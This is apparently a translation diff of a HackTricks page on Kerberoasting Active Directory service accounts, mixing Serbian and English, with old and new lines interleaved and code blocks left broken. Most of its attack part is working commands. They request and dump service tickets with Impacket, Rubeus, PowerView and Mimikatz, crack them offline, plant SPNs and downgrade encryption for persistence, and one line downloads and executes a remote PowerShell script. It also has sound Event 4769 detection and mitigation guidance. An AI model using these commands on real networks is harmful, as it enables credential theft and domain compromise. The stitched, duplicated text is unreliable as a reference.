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Translated ['src/windows-hardening/active-directory-methodology/kerberoa
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## Kerberoast
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Kerberoasting se fokusira na sticanje **TGS karata**, posebno onih povezanih sa uslugama koje rade pod **korisničkim nalozima** u **Active Directory (AD)**, isključujući **račune računara**. Enkripcija ovih karata koristi ključeve koji potiču od **korisničkih lozinki**, što omogućava mogućnost **offline krakenja kredencijala**. Korišćenje korisničkog naloga kao usluge označeno je ne-praznim **"ServicePrincipalName"** svojstvom.
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Kerberoasting se fokusira na sticanje TGS karata, posebno onih koje se odnose na usluge koje rade pod korisničkim nalozima u Active Directory (AD), isključujući račune računara. Enkripcija ovih karata koristi ključeve koji potiču od korisničkih lozinki, što omogućava offline razbijanje kredencijala. Korišćenje korisničkog naloga kao usluge označeno je ne-praznim svojstvom ServicePrincipalName (SPN).
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Za izvršavanje **Kerberoastinga**, neophodan je domen nalog sposoban da zahteva **TGS karte**; međutim, ovaj proces ne zahteva **posebne privilegije**, što ga čini dostupnim svima sa **važećim domen kredencijalima**.
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Svaki autentifikovani korisnik domena može zatražiti TGS karte, tako da nisu potrebne posebne privilegije.
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### Ključne tačke:
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### Ključne tačke
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- **Kerberoasting** cilja **TGS karte** za **usluge korisničkih naloga** unutar **AD**.
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- Karte enkriptovane sa ključevima iz **korisničkih lozinki** mogu se **krakati offline**.
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- Usluga se identifikuje po **ServicePrincipalName** koji nije null.
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- **Nema posebnih privilegija** potrebnih, samo **važeći domen kredencijali**.
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### **Napad**
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- Cilja TGS karte za usluge koje rade pod korisničkim nalozima (tj. računi sa postavljenim SPN; ne računi računara).
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- Karte su enkriptovane ključem dobijenim iz lozinke servisnog naloga i mogu se razbiti offline.
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- Nisu potrebne povišene privilegije; svaki autentifikovani nalog može zatražiti TGS karte.
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> [!WARNING]
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> **Kerberoasting alati** obično zahtevaju **`RC4 enkripciju`** prilikom izvođenja napada i iniciranja TGS-REQ zahteva. To je zato što je **RC4** [**slabiji**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) i lakše se kraka offline koristeći alate kao što je Hashcat nego druge algoritme enkripcije kao što su AES-128 i AES-256.\
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> RC4 (tip 23) hešovi počinju sa **`$krb5tgs$23$*`** dok AES-256 (tip 18) počinju sa **`$krb5tgs$18$*`**.`
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> Pored toga, budite oprezni jer `Rubeus.exe kerberoast` automatski zahteva karte preko SVIH ranjivih naloga što će vas otkriti. Prvo, pronađite kerberoastable korisnike sa zanimljivim privilegijama i zatim ga pokrenite samo nad njima.
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```bash
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> Većina javnih alata preferira zahtev za RC4-HMAC (etype 23) servisne karte jer su brže za razbijanje od AES. RC4 TGS heševi počinju sa `$krb5tgs$23$*`, AES128 sa `$krb5tgs$17$*`, a AES256 sa `$krb5tgs$18$*`. Međutim, mnoge sredine prelaze na isključivo AES. Ne pretpostavljajte da je samo RC4 relevantan.
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> Takođe, izbegavajte “spray-and-pray” roasting. Podrazumevani kerberoast Rubeusa može da upita i zatraži karte za sve SPN-ove i bučan je. Prvo enumerišite i ciljate zanimljive principe.
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#### **Linux**
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```bash
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# Metasploit framework
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msf> use auxiliary/gather/get_user_spns
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# Impacket
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GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Biće zatražena lozinka
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GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
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# kerberoast: https://github.com/skelsec/kerberoast
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kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerišite kerberoastable korisnike
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kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Ispisivanje hash-eva
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```
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Multi-features tools including a dump of kerberoastable users:
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```bash
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# ADenum: https://github.com/SecuProject/ADenum
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adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
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```
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#### Windows
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- **Enumerate Kerberoastable users**
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```bash
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# Dobijanje Kerberoastable korisnika
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setspn.exe -Q */* #Ovo je ugrađeni binarni fajl. Fokusirajte se na korisničke naloge
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Get-NetUser -SPN | select serviceprincipalname #Powerview
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.\Rubeus.exe kerberoast /stats
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```
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- **Technique 1: Ask for TGS and dump it from memory**
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```bash
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#Preuzmi TGS u memoriji od jednog korisnika
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Add-Type -AssemblyName System.IdentityModel
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New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Primer: MSSQLSvc/mgmt.domain.local
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#Preuzmi TGS-ove za SVE kerberoastable naloge (PC-ovi uključeni, nije baš pametno)
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setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
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#Prikaži kerberos karte u memoriji
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klist
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# Izvuci ih iz memorije
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Invoke-Mimikatz -Command '"kerberos::list /export"' #Izvezi karte u trenutni folder
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# Transformiši kirbi kartu u john
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python2.7 kirbi2john.py sqldev.kirbi
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# Transformiši john u hashcat
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sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
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```
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- **Technique 2: Automatic tools**
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```bash
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# Powerview: Preuzmi Kerberoast hash korisnika
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Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Koristeći PowerView Ex: MSSQLSvc/mgmt.domain.local
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# Powerview: Preuzmi sve Kerberoast hasheve
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Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
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# Rubeus
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.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
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.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specifičan korisnik
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.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Preuzmi administratore
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# Invoke-Kerberoast
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iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
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Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
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```
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> [!WARNING]
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> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
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### Cracking
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```bash
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john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
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hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
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./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
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```
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### Persistence
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If you have **enough permissions** over a user you can **make it kerberoastable**:
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```bash
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Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
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```
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You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
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If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
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- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
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- `rdate -n <IP of DC>`
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### Mitigation
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Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
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- The service name should not be **krbtgt**, as this is a normal request.
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- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
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- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
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- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
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- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
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```bash
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Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
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```
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To mitigate the risk of Kerberoasting:
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- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
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- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
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By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
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## Kerberoast w/o domain account
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In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
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The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
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> [!WARNING]
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> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
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### Napad
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#### Linux
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- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
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```bash
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GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
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```
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# Metasploit Framework
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msf> use auxiliary/gather/get_user_spns
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# Impacket — request and save roastable hashes (prompts for password)
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GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast
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# With NT hash
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GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast
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# Target a specific user’s SPNs only (reduce noise)
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GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER>
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# kerberoast by @skelsec (enumerate and roast)
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# 1) Enumerate kerberoastable users via LDAP
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kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable
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# 2) Request TGS for selected SPNs and dump
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kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes
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```
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Alati sa više funkcija uključuju kerberoast provere:
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```bash
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# ADenum: https://github.com/SecuProject/ADenum
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adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c
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```
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#### Windows
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- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
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- Enumerisati kerberoastable korisnike
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```powershell
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# Built-in
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setspn.exe -Q */* # Focus on entries where the backing object is a user, not a computer ($)
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```bash
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Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
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# PowerView
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Get-NetUser -SPN | Select-Object serviceprincipalname
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# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.)
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.\Rubeus.exe kerberoast /stats
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```
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- Tehnika 1: Zatražite TGS i preuzmite iz memorije
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```powershell
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# Acquire a single service ticket in memory for a known SPN
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Add-Type -AssemblyName System.IdentityModel
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New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>" # e.g. MSSQLSvc/mgmt.domain.local
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# Get all cached Kerberos tickets
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klist
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# Export tickets from LSASS (requires admin)
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Invoke-Mimikatz -Command '"kerberos::list /export"'
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# Convert to cracking formats
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python2.7 kirbi2john.py .\some_service.kirbi > tgs.john
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# Optional: convert john -> hashcat etype23 if needed
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sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat
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```
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- Tehnika 2: Automatski alati
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```powershell
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# PowerView — single SPN to hashcat format
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Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
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# PowerView — all user SPNs -> CSV
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Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
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# Rubeus — default kerberoast (be careful, can be noisy)
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.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
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# Rubeus — target a single account
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.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast
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# Rubeus — target admins only
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.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
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```
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> [!WARNING]
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> TGS zahtev generiše Windows Security Event 4769 (Zatražen je Kerberos servisni tiket).
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### OPSEC i okruženja samo sa AES-om
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- Namerno zatražite RC4 za naloge bez AES-a:
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- Rubeus: `/rc4opsec` koristi tgtdeleg za enumeraciju naloga bez AES-a i zahteva RC4 servisne tikete.
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- Rubeus: `/tgtdeleg` sa kerberoast takođe pokreće RC4 zahteve gde je to moguće.
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- Pecajte naloge samo sa AES-om umesto da tiho propadnete:
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- Rubeus: `/aes` enumeriše naloge sa uključenim AES-om i zahteva AES servisne tikete (etype 17/18).
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- Ako već imate TGT (PTT ili iz .kirbi), možete koristiti `/ticket:<blob|path>` sa `/spn:<SPN>` ili `/spns:<file>` i preskočiti LDAP.
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- Ciljanje, ograničavanje i manje buke:
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- Koristite `/user:<sam>`, `/spn:<spn>`, `/resultlimit:<N>`, `/delay:<ms>` i `/jitter:<1-100>`.
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- Filtrirajte za verovatno slabe lozinke koristeći `/pwdsetbefore:<MM-dd-yyyy>` (starije lozinke) ili ciljate privilegovane OU-e sa `/ou:<DN>`.
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Primeri (Rubeus):
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```powershell
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# Kerberoast only AES-enabled accounts
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.\Rubeus.exe kerberoast /aes /outfile:hashes.aes
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# Request RC4 for accounts without AES (downgrade via tgtdeleg)
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.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4
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# Roast a specific SPN with an existing TGT from a non-domain-joined host
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.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local
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```
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### Kršenje
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```bash
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# John the Ripper
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john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast
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# Hashcat
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# RC4-HMAC (etype 23)
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hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt
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# AES128-CTS-HMAC-SHA1-96 (etype 17)
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hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt
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# AES256-CTS-HMAC-SHA1-96 (etype 18)
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hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt
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```
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### Persistence / Abuse
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Ako kontrolišete ili možete da modifikujete nalog, možete ga učiniti kerberoastable dodavanjem SPN-a:
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```powershell
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Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose
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```
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Smanjite nivo naloga da omogućite RC4 za lakše razbijanje (zahteva privilegije pisanja na ciljanom objektu):
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```powershell
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# Allow only RC4 (value 4) — very noisy/risky from a blue-team perspective
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Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
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# Mixed RC4+AES (value 28)
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Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}
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```
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Možete pronaći korisne alate za kerberoast napade ovde: https://github.com/nidem/kerberoast
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Ako dobijete ovu grešku iz Linux-a: `Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)` to je zbog lokalnog vremenskog pomaka. Sinhronizujte sa DC:
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- `ntpdate <DC_IP>` (deprecated na nekim distribucijama)
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- `rdate -n <DC_IP>`
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### Detekcija
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Kerberoasting može biti neprimetan. Pratite Event ID 4769 sa DC-ova i primenite filtere da smanjite šum:
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- Isključite ime usluge `krbtgt` i imena usluga koja se završavaju sa `$` (računi računara).
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- Isključite zahteve sa računa mašine (`*$$@*`).
|
||||
- Samo uspešni zahtevi (Kod greške `0x0`).
|
||||
- Pratite tipove enkripcije: RC4 (`0x17`), AES128 (`0x11`), AES256 (`0x12`). Ne upozoravajte samo na `0x17`.
|
||||
|
||||
Primer PowerShell triage:
|
||||
```powershell
|
||||
Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 |
|
||||
Where-Object {
|
||||
($_.Message -notmatch 'krbtgt') -and
|
||||
($_.Message -notmatch '\$$') -and
|
||||
($_.Message -match 'Failure Code:\s+0x0') -and
|
||||
($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and
|
||||
($_.Message -notmatch '\$@')
|
||||
} |
|
||||
Select-Object -ExpandProperty Message
|
||||
```
|
||||
Dodatne ideje:
|
||||
|
||||
- Osnovna normalna upotreba SPN po hostu/korisniku; upozoriti na velike izlive različitih SPN zahteva od jednog principala.
|
||||
- Oznaka neobične upotrebe RC4 u AES-ojačanim domenima.
|
||||
|
||||
### Ublažavanje / Ojačavanje
|
||||
|
||||
- Koristite gMSA/dMSA ili mašinske naloge za usluge. Upravljani nalozi imaju nasumične lozinke duže od 120 karaktera i automatski se rotiraju, što čini offline razbijanje nepraktičnim.
|
||||
- Sprovodite AES na nalozima usluga postavljanjem `msDS-SupportedEncryptionTypes` na samo AES (decimal 24 / hex 0x18) i zatim rotirajte lozinku kako bi se AES ključevi izveli.
|
||||
- Gde god je to moguće, onemogućite RC4 u vašem okruženju i pratite pokušaje korišćenja RC4. Na DC-ima možete koristiti `DefaultDomainSupportedEncTypes` registry vrednost da usmerite podrazumevane postavke za naloge bez postavljenog `msDS-SupportedEncryptionTypes`. Temeljno testirajte.
|
||||
- Uklonite nepotrebne SPN-ove sa korisničkih naloga.
|
||||
- Koristite duge, nasumične lozinke za naloge usluga (25+ karaktera) ako upravljani nalozi nisu izvodljivi; zabranite uobičajene lozinke i redovno vršite reviziju.
|
||||
|
||||
### Kerberoast bez domena (AS-zahtevani ST)
|
||||
|
||||
U septembru 2022. godine, Charlie Clark je pokazao da, ako principal ne zahteva prethodnu autentifikaciju, može se dobiti servisna karta putem kreiranog KRB_AS_REQ menjajući sname u telu zahteva, efektivno dobijajući servisnu kartu umesto TGT. Ovo odražava AS-REP roasting i ne zahteva važeće domenske akreditive.
|
||||
|
||||
Pogledajte detalje: Semperis članak “Novi napadi: AS-zahtevani ST”.
|
||||
|
||||
> [!WARNING]
|
||||
> Morate pružiti listu korisnika jer bez važećih akreditiva ne možete upititi LDAP ovom tehnikom.
|
||||
|
||||
Linux
|
||||
|
||||
- Impacket (PR #1413):
|
||||
```bash
|
||||
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/
|
||||
```
|
||||
Windows
|
||||
|
||||
- Rubeus (PR #139):
|
||||
```powershell
|
||||
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE
|
||||
```
|
||||
Related
|
||||
|
||||
Ako ciljate AS-REP roastable korisnike, pogledajte takođe:
|
||||
|
||||
{{#ref}}
|
||||
asreproast.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)
|
||||
- Microsoft Security Blog (2024-10-11) – Microsoftove smernice za pomoć u ublažavanju Kerberoasting-a: https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/
|
||||
- SpecterOps – Rubeus Roasting dokumentacija: https://docs.specterops.io/ghostpack/rubeus/roasting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
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